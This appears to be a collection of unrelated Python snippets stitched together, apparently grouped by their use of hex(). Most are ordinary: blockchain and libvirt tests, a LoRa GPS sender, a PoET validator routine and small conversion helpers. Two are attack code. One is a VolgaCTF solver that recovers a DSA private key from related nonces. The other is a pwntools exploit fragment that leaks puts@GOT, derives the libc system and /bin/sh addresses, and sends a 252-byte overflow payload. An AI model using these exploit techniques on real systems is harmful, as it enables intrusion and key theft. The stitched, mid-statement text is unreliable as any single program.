block in the past t = (int(time.time()) - 700) & 0xfffffff0 (self.tip, block_sig_key) = self.create_unsigned_pos_block(self.staking_prevouts, nTime=t) self.tip.sign_block(block_sig_key) self.tip.rehash() yield rejected() # 19. A block with too many coinbase vouts (self.tip, block_sig_key) = self.create_unsigned_pos_block(self.staking_prevouts) self.tip.vtx[0].vout.append(CTxOut(0, CScript([OP_TRUE]))) self.tip.vtx[0].rehash() self.tip.hashMerkleRoot = self.tip.calc_merkle_root() self.tip.sign_block(block_sig_key) self.tip.rehash() yield rejected() # 20. A block where the coinstake's vin is not the prevout specified in the block (self.tip, block_sig_key) = self.create_unsigned_pos_block( self.staking_prevouts, coinStakePrevout=self.staking_prevouts[-1][0]) self.tip.sign_block(block_sig_key) self.tip.rehash() yield rejected() # 21. A block that stakes with valid txs but invalid vouts (self.tip, block_sig_key) = self.create_unsigned_pos_block( self.bad_vout_staking_prevouts) self.tip.sign_block(block_sig_key) self.tip.rehash() yield rejected() # 22. A block that stakes with txs that do not exist (self.tip, block_sig_key) = self.create_unsigned_pos_block( self.bad_txid_staking_prevouts) self.tip.sign_block(block_sig_key) self.tip.rehash() yield rejected() # Make sure for certain that no blocks were accepted. (This is also to make sure that no segfaults ocurred) assert_equal(self.node.getblockcount(), block_count) # And at last, make sure that a valid pos block is accepted (self.tip, block_sig_key) = self.create_unsigned_pos_block(self.staking_prevouts) self.tip.sign_block(block_sig_key) self.tip.rehash() yield accepted() assert_equal(self.node.getblockcount(), block_count + 1)
def hexChar(x): x &= 0x0f return hex(x)[2:]
def run(test, params, env): """ Test command: virsh update-device. Update device from an XML <file>. 1.Prepare test environment, adding a cdrom to VM. 2.Perform virsh update-device operation. 3.Recover test environment. 4.Confirm the test result. """ # Before doing anything - let's be sure we can support this test # Parse flag list, skip testing early if flag is not supported # NOTE: "".split("--") returns [''] which messes up later empty test flag = params.get("updatedevice_flag", "") flag_list = [] if flag.count("--"): flag_list = flag.split("--") for item in flag_list: option = item.strip() if option == "": continue if not bool(virsh.has_command_help_match("update-device", option)): raise error.TestNAError( "virsh update-device doesn't support --%s" % option) # As per RH BZ 961443 avoid testing before behavior changes if 'config' in flag_list: # SKIP tests using --config if libvirt is 0.9.10 or earlier if not libvirt_version.version_compare(0, 9, 10): raise error.TestNAError("BZ 961443: --config behavior change " "in version 0.9.10") if 'persistent' in flag_list: # SKIP tests using --persistent if libvirt 1.0.5 or earlier if not libvirt_version.version_compare(1, 0, 5): raise error.TestNAError("BZ 961443: --persistent behavior change " "in version 1.0.5") # Prepare initial vm state vm_name = params.get("main_vm") vmxml = VMXML.new_from_dumpxml(vm_name, options="--inactive") vm = env.get_vm(vm_name) start_vm = "yes" == params.get("start_vm", "no") # Get the target bus/dev target_bus = params.get("updatedevice_target_bus", "ide") target_dev = params.get("updatedevice_target_dev", "hdc") # Prepare tmp directory and files. orig_iso = os.path.join(test.virtdir, "orig.iso") test_iso = os.path.join(test.virtdir, "test.iso") test_diff_iso = os.path.join(test.virtdir, "test_diff.iso") update_xmlfile = os.path.join(test.tmpdir, "update.xml") create_attach_xml(update_xmlfile, test_iso, target_bus, target_dev) # This test needs a cdrom attached first - attach a cdrom # to a shutdown vm. Then decide to restart or not if vm.is_alive(): vm.destroy() create_cdrom(vm_name, orig_iso, target_dev) if start_vm: vm.start() domid = vm.get_id() else: domid = "domid invalid; domain is shut-off" # Get remaining parameters for configuration. twice = "yes" == params.get("updatedevice_twice", "no") diff_iso = "yes" == params.get("updatedevice_diff_iso", "no") vm_ref = params.get("updatedevice_vm_ref", "") status_error = "yes" == params.get("status_error", "no") extra = params.get("updatedevice_extra", "") # OK let's give this a whirl... try: if vm_ref == "id": vm_ref = domid if twice: # Don't pass in any flags virsh.update_device(domainarg=domid, filearg=update_xmlfile, ignore_status=True, debug=True) if diff_iso: # Swap filename of device backing file in update.xml os.remove(update_xmlfile) create_attach_xml(update_xmlfile, test_diff_iso, target_bus, target_dev) elif vm_ref == "uuid": vm_ref = vmxml.uuid elif vm_ref == "hex_id": vm_ref = hex(int(domid)) elif vm_ref.find("updatedevice_invalid") != -1: vm_ref = params.get(vm_ref) elif vm_ref == "name": vm_ref = "%s %s" % (vm_name, extra) cmdresult = virsh.update_device(domainarg=vm_ref, filearg=update_xmlfile, flagstr=flag, ignore_status=True, debug=True) status = cmdresult.exit_status active_vmxml = VMXML.new_from_dumpxml(vm_name) inactive_vmxml = VMXML.new_from_dumpxml(vm_name, options="--inactive") finally: vm.destroy(gracefully=False, free_mac_addresses=False) vmxml.undefine() vmxml.restore() vmxml.define() if os.path.exists(orig_iso): os.remove(orig_iso) if os.path.exists(test_iso): os.remove(test_iso) if os.path.exists(test_diff_iso): os.remove(test_diff_iso) # Result handling logic set errmsg only on error errmsg = None if status_error: if status == 0: errmsg = "Run successfully with wrong command!" else: # Normal test if status != 0: errmsg = "Run failed with right command" if diff_iso: # Expect the backing file to have updated active_attached = is_attached(active_vmxml.devices, test_diff_iso, target_dev) inactive_attached = is_attached(inactive_vmxml.devices, test_diff_iso, target_dev) else: # Expect backing file to remain the same active_attached = is_attached(active_vmxml.devices, test_iso, target_dev) inactive_attached = is_attached(inactive_vmxml.devices, test_iso, target_dev) # Check behavior of combination before individual! if "config" in flag_list and "live" in flag_list: if not active_attached: errmsg = ("Active domain XML not updated when " "--config --live options used") if not inactive_attached: errmsg = ("Inactive domain XML not updated when " "--config --live options used") elif "live" in flag_list and inactive_attached: errmsg = ("Inactive domain XML updated when " "--live option used") elif "config" in flag_list and active_attached: errmsg = ("Active domain XML updated when " "--config option used") # persistent option behavior depends on start_vm if "persistent" in flag_list: if start_vm: if not active_attached or not inactive_attached: errmsg = ("XML not updated when --persistent " "option used on active domain") else: if not inactive_attached: errmsg = ("XML not updated when --persistent " "option used on inactive domain") if len(flag_list) == 0: # Not specifying any flag is the same as specifying --current if start_vm: if not active_attached: errmsg = "Active domain XML not updated" elif inactive_attached: errmsg = ("Inactive domain XML updated when active " "requested") # Log some debugging info before destroying instances if errmsg is not None: logging.debug("Active XML:") logging.debug(str(active_vmxml)) logging.debug("Inactive XML:") logging.debug(str(inactive_vmxml)) logging.debug("active_attached: %s", str(active_attached)) logging.debug("inctive_attached: %s", str(inactive_attached)) logging.debug("Device XML:") logging.debug(open(update_xmlfile, "r").read()) # clean up tmp files del vmxml del active_vmxml del inactive_vmxml os.unlink(update_xmlfile) if errmsg is not None: raise error.TestFail(errmsg)
SentenceCount = 0 while True: reply = s.recv(4096) if reply: inputstring = reply.split(b'\n') for line in inputstring: if line: temp = line.decode('utf-8') position = json.loads(temp) SentenceCount += 1 values = ['PIPARTY', SentenceCount, position['time'], '{:.5f}'.format(position['lat']), '{:.5f}'.format(position['lon']), int(position['alt']), int(position['sats'])] temp = ','.join(map(str, values)) crc16 = crcmod.predefined.mkCrcFun('crc-ccitt-false') crc_string = hex(crc16(temp.encode()))[2:].upper().zfill(4) sentence = '$$' + temp + '*' + crc_string + '\n' print(sentence) mylora.send_text(sentence) while mylora.is_sending(): time.sleep(0.1)
import hashlib from gmpy2 import invert examples = [ ('VolgaCTF{nKpV/dmkBeQ0n9Mz0g9eGQ==}', 1030409245884476193717141088285092765299686864672, 830067187231135666416948244755306407163838542785), ('VolgaCTF{KtetaQ4YT8PhTL3O4vsfDg==}', 403903893160663712713225718481237860747338118174, 803753330562964683180744246754284061126230157465) ] if __name__ == "__main__": g = 88125476599184486094790650278890368754888757655708027167453919435240304366395317529470831972495061725782138055221217302201589783769854366885231779596493602609634987052252863192229681106120745605931395095346012008056087730365567429009621913663891364224332141824100071928803984724198563312854816667719924760795 y = 18433140630820275907539488836516835408779542939919052226997023049612786224410259583219376467254099629677919271852380455772458762645735404211432242965871926570632297310903219184400775850110990886397212284518923292433738871549404880989194321082225561448101852260505727288411231941413212099434438610673556403084 p = 89884656743115795425395461605176038709311877189759878663122975144592708970495081723016152663257074178905267744494172937616748015651504839967430700901664125135185879852143653824715409554960402343311756382635207838848036159350785779959423221882215217326708017212309285537596191495074550701770862125817284985959 q = 1118817215266473099401489299835945027713635248219 a = 3437776292996777467976657547577967657547 b = 828669865469592426262363475477574643634 (m1,r1,s1),(m2,r2,s2) = examples h1 = int(hashlib.md5(m1.encode()).hexdigest(), 16) h2 = int(hashlib.md5(m2.encode()).hexdigest(), 16) inv1 = invert(r1, q) inv2 = invert(r2, q) c = (s2 * a) % q d = (h2 - s2 * b) % q k = (invert(s1*inv1 - c*inv2,q)*(h1*inv1-d*inv2))%q print('k1:', k) print('x:', hex(((s1*k - h1)*invert(r1,q))%q))
ngram_collection = load_ngram_collection('core/eng_wnp.pickle') ngrams = ngram_collection[3] ciphertext = hex_string_to_array(ciphertext) cleartext = '' max_score = None key = 0 for i in xrange(256): potential_cleartext = str(bytearray((ciphertext ^ i))) score = lang_score(potential_cleartext, ngrams) if score == 0: continue if max_score == None: max_score = score elif score > max_score: max_score = score cleartext = potential_cleartext key = i print 'Cleartext:', cleartext print 'Key:', hex(key) print 'Fitness:', max_score
def __repr__(self): return "<SpurProcess at {0} (pid={1})>".format(hex(id(self)), self.pid())
def conv_hex(val): hexval = hex(val) if hexval[-1:] == 'L': hexval = hexval[:-1] return hexval
def tif2kmz(args): if args.infile is not None: base, ext = path.splitext(args.infile) kmltif = base + '_kml' + ext kmlpng = base + '_kml' + '.png' kmlfile = base + '.kml' kmzfile = base + '.kmz' in_ds = gdal.Open(args.infile, gdal.GA_ReadOnly) # warp original dataset to WGS84 used by google earth tmp_ds = gdal.Warp(base + '_kml' + ext, in_ds, dstSRS='EPSG:4326') # get geotransform for latlonbox gt = tmp_ds.GetGeoTransform() cols = tmp_ds.RasterXSize rows = tmp_ds.RasterYSize # convert image format for use by Icon, nodata will be transparent gdal.Translate(kmlpng, tmp_ds, format="PNG") in_ds = None tmp_ds = None data = { 'folder': { 'name': base, 'description': args.description }, 'overlay': { 'name': base, 'description': args.description }, 'imgurl': kmlpng, 'north': gt[3], 'south': gt[3] + gt[5] * rows, 'west': gt[0], 'east': gt[0] + gt[1] * cols, 'rotation': 0, 'color': "{}ffffff".format(hex(int(args.alpha * 255))[2:]) } t = Template("""<?xml version="1.0" encoding="UTF-8"?> <kml> <Folder> <name>{{ folder.name }}</name> <visibility>1</visibility> <description>{{ folder.description }}</description> <GroundOverlay> <name>{{ overlay.name }}</name> <visibility>1</visibility> <description>{{ overlay.description }}</description> <color>{{ color }} </color> <Icon> <href>{{imgurl}}</href> </Icon> <LatLonBox> <north>{{north}}</north> <south>{{south}}</south> <east>{{east}}</east> <west>{{west}}</west> <rotation>{{rotation}}</rotation> </LatLonBox> </GroundOverlay> </Folder> </kml>""") with open(kmlfile, "w") as fo: fo.write(t.render(data)) if args.zip: zipf = zipfile.ZipFile(kmzfile, "w", zipfile.ZIP_DEFLATED) zipf.write(kmlfile) zipf.write(kmlpng) zipf.close() if args.removetemp: if path.exists(kmltif): os.unlink(kmltif) if path.exists(kmlfile): os.unlink(kmlfile) if path.exists(kmlpng): os.unlink(kmlpng)
def HEX(argv): tmp = hex(argv)[2:] if len(tmp) == 1: tmp = '0' + tmp return tmp
def __repr__(self): return 'FloatingInteger(bits=%s, target=%s)' % (hex( self.bits), hex(self.target))
def __repr__(self): return "<MockProcess at {0}>".format(hex(id(self)))
#进制转换 #转二进制 print( bin(0xFFF)) #转十进制 print(int(0xFEE)) #转十六进制 print(hex(123))
def __str__(self): return hex(self.error_code)
def __str__ ( self ): return hex ( (self._side + 1) // 2 + self._val * 2 - 1 )[ 2 ]
def _register_signup_information(self, block_header, poet_enclave_module): # Create signup information for this validator, putting the block ID # of the block previous to the block referenced by block_header in the # nonce. Block ID is better than wait certificate ID for testing # freshness as we need to account for non-PoET blocks. public_key_hash = \ hashlib.sha256( block_header.signer_public_key.encode()).hexdigest() nonce = SignupInfo.block_id_to_nonce(block_header.previous_block_id) signup_info = \ SignupInfo.create_signup_info( poet_enclave_module=poet_enclave_module, originator_public_key_hash=public_key_hash, nonce=nonce) # Create the validator registry payload payload = \ vr_pb.ValidatorRegistryPayload( verb='register', name='validator-{}'.format(block_header.signer_public_key[:8]), id=block_header.signer_public_key, signup_info=vr_pb.SignUpInfo( poet_public_key=signup_info.poet_public_key, proof_data=signup_info.proof_data, anti_sybil_id=signup_info.anti_sybil_id, nonce=nonce), ) serialized = payload.SerializeToString() # Create the address that will be used to look up this validator # registry transaction. Seems like a potential for refactoring.. validator_entry_address = \ PoetBlockPublisher._validator_registry_namespace + \ hashlib.sha256(block_header.signer_public_key.encode()).hexdigest() # Create a transaction header and transaction for the validator # registry update amd then hand it off to the batch publisher to # send out. output_addresses = \ [validator_entry_address, PoetBlockPublisher._validator_map_address] input_addresses = \ output_addresses + \ [SettingsView.setting_address( 'sawtooth.poet.report_public_key_pem'), SettingsView.setting_address( 'sawtooth.poet.valid_enclave_measurements'), SettingsView.setting_address( 'sawtooth.poet.valid_enclave_basenames')] header = \ txn_pb.TransactionHeader( signer_public_key=block_header.signer_public_key, family_name='sawtooth_validator_registry', family_version='1.0', inputs=input_addresses, outputs=output_addresses, dependencies=[], payload_sha512=hashlib.sha512(serialized).hexdigest(), batcher_public_key=block_header.signer_public_key, nonce=hex(random.randint(0, 2**64))).SerializeToString() signature = self._batch_publisher.identity_signer.sign(header) transaction = \ txn_pb.Transaction( header=header, payload=serialized, header_signature=signature) LOGGER.info( 'Register Validator Name=%s, ID=%s...%s, PoET public key=%s...%s, ' 'Nonce=%s', payload.name, payload.id[:8], payload.id[-8:], payload.signup_info.poet_public_key[:8], payload.signup_info.poet_public_key[-8:], nonce) self._batch_publisher.send([transaction]) # Store the key state so that we can look it up later if need be and # set the new key as our active key LOGGER.info('Save key state PPK=%s...%s => SSD=%s...%s', signup_info.poet_public_key[:8], signup_info.poet_public_key[-8:], signup_info.sealed_signup_data[:8], signup_info.sealed_signup_data[-8:]) self._poet_key_state_store[signup_info.poet_public_key] = \ PoetKeyState( sealed_signup_data=signup_info.sealed_signup_data, has_been_refreshed=False, signup_nonce=nonce) self._poet_key_state_store.active_key = signup_info.poet_public_key
payload += p32(pr) payload += p32(puts_got) payload += p32(main) p.sendline(payload) p.recv() p.sendline('3') p.recvuntil("Input msg ID : ") p.sendline(msgId) p.recvuntil("\x0a\x0a") puts = u32(p.recv(4)) base = puts - 0x0005fca0 system = base + 0x0003ada0 binsh = puts + 0xfbd0b print "leaked puts : " + str(hex(puts)) print "base : " + str(hex(base)) print "system : " + str(hex(system)) print "/bin/sh : " + str(hex(binsh)) p.recv() # ----- leaked ----- # # ----- one more trial for exploit ----- # p.sendline("1") p.recv() p.sendline("a" * 252 + p32(0x00000002)) # open 3, close stderr(2) p.recv() p.sendline("1") p.recvuntil("Msg ID : ")
def uniqid(prefix=''): """ return an identifier based on time """ return prefix + hex(int(time.time()))[2:10] + hex(int(time.time() * 1000000) % 0x100000)[2:7]
def h(i): return hex(i)[2:]
def rgbToHex(r, g, b, scale=1): r, g, b = [int(x * float(scale)) for x in (r, g, b)] return "#%s" % "".join(map(lambda c: hex(c)[2:].zfill(2), (r, g, b)))
import sys if len(sys.argv) > 1 : binary_number = sys.argv[1] else: binary_number = input("Please enter a binary number to be converted into hex: ") try: int(binary_number) except BaseException: print("Input should be a binary value..") exit() hex_value = hex(int(str(binary_number),2)) print(hex_value)
def inttohex(val): return hex(int(val))[2:]
def instance_str(instance): """Return a string describing an instance.""" return instance.__class__.__name__ + "@" + hex(id(instance))
import time print("Welcome to the Binary/Hexadecimal Converter App.") while True: max_value = int(input("\nCompute Binary and Hexadecimal value up to the following Decimal Number: ")) decimal = list(range(1, max_value+1)) print("Generating Lists", end='') for i in range(3): print(".", end='') time.sleep(1) print(" Complete") binary = [bin(i) for i in decimal] hexadecimal = [hex(i) for i in decimal] print("\nUsing slices, we will now show a portion of the each list.") lower_value = int(input("What decimal number would you like to start at: ")) upper_value = int(input("What decimal number would you like to stop at: ")) if lower_value < decimal[0] or upper_value > decimal[len(decimal)-1]: print("\nThe limit is out of range") else: print(f"\nDecimal value from {lower_value} to {upper_value} is :") for i in decimal[lower_value-1:upper_value]: print(i) print(f"\nBinary value from {lower_value} to {upper_value} is :") for i in binary[lower_value - 1:upper_value]: print(i)
def set_last_launched(self, value): logging.info("set last launched of %s to %s" %(hex(id(self)), value)) self.last_launched = value self.save()
def state_str(state): """Return a string describing an instance.""" if state is None: return "None" else: return state.class_.__name__ + "@" + hex(id(state.obj()))